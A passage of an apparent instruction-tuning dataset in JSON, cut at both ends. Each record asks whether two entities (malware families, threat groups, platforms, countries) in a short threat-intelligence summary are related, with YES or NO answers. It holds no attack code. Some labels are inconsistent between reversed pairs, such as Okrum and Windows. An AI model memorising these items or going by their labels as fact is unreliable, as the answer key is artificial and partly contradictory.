Passage:\nTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTomiris\n### Target Entity: C2\n### Text Passage:\nTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDNS hijacking campaign\n### Target Entity: Commonwealth of Independent States (CIS)\n### Text Passage:\nTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTomiris\n### Target Entity: Commonwealth of Independent States (CIS)\n### Text Passage:\nTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXAgentOSX\n### Target Entity: Firefox\n### Text Passage:\nXAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFunnyDream\n### Target Entity: ccf32\n### Text Passage:\nccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNaikon\n### Target Entity: WinMM\n### Text Passage:\nWinMM is a full-featured, simple backdoor used by Naikon. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCutting Edge\n### Target Entity: GLASSTOKEN\n### Text Passage:\nGLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGLASSTOKEN\n### Target Entity: Ivanti Secure Connect VPNs\n### Text Passage:\nGLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: ipconfig.exe\n### Text Passage:\n\u2022 Reconnaissance, execution and theft of credentials: In the reconnaissance phase, a series of commands were launched to collect information from users, domains and shared folders. The hostile actor used legitimate tools of the Windows operating systems for the reconnaissance stage, such as \u201cipconfig.exe\u201d, \u201cwhoami.exe\u201d, \u201cnet.exe\u201d, \u201cping.exe\u201d, \u201cpowershell.exe\u201d and \u201d BloodHound \u201d(bloodHound is not a legitimate binary from Microsoft).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: C++\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: United States\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Belgium\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Canada\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: China\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Germany\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Saudi Arabia\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Spain\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Syria\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Taiwan\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: Turkey\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: United Arab Emirates\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAvosLocker\n### Target Entity: United Kingdom\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChina\n### Target Entity: Taiwan\n### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmenuPass\n### Target Entity: Ecipekac\n### Text Passage:\nEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmenuPass\n### Target Entity: P8RAT\n### Text Passage:\nEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmenuPass\n### Target Entity: SodaMaster\n### Text Passage:\nEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmenuPass\n### Target Entity: FYAnti\n### Text Passage:\nEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBendyBear\n### Target Entity: C2\n### Text Passage:\nBendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWaterbear\n### Target Entity: Chinese\n### Text Passage:\nBendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackTech\n### Target Entity: Waterbear\n### Text Passage:\nBendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSpyDealer\n### Target Entity: Android\n### Text Passage:\nSpyDealer is Android malware that exfiltrates sensitive data from Android devices.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMobileOrder\n### Target Entity: C2\n### Text Passage:\nMobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ngh0st RAT\n### Target Entity: Windows\n### Text Passage:\ngh0st RAT has used the InterlockedExchange, SeShutdownPrivilege, and ExitWindowsEx Windows API functions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nValak\n### Target Entity: C2\n### Text Passage:\nValak has returned C2 data as encoded ASCII.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExaramel\n### Target Entity: systemd\n### Text Passage:\nExaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExaramel\n### Target Entity: Linux\n### Text Passage:\nExaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLinux\n### Target Entity: systemd\n### Text Passage:\nExaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nInvisiMole\n### Target Entity: Windows\n### Text Passage:\nInvisiMole can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOkrum\n### Target Entity: Windows\n### Text Passage:\nOkrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKe3chang\n### Target Entity: Okrum\n### Text Passage:\nOkrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: Okrum\n### Text Passage:\nOkrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAFNIUM\n### Target Entity: C2\n### Text Passage:\nHAFNIUM has used ASCII encoding for C2 traffic.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFinal1stspy\n### Target Entity: DOGCALL\n### Text Passage:\nFinal1stspy is a dropper family that has been used to deliver DOGCALL.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJudy\n### Target Entity: Google Play\n### Text Passage:\nJudy is auto-clicking adware that was distributed through multiple apps in the Google Play Store.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSuckfly\n### Target Entity: Nidiran\n### Text Passage:\nNidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA544\n### Target Entity: Italian\n### Text Passage:\nSecurity Brief: TA544 Targets Italian Organizations with Ursnif Malware September 29, 2021\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUrsnif\n### Target Entity: Italian\n### Text Passage:\nSecurity Brief: TA544 Targets Italian Organizations with Ursnif Malware September 29, 2021\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA544\n### Target Entity: Ursnif\n### Text Passage:\nSecurity Brief: TA544 Targets Italian Organizations with Ursnif Malware September 29, 2021\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: SolarWinds\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: North America\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: Europe\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: Asia\n### Text Passage:\nThe SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020. APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible 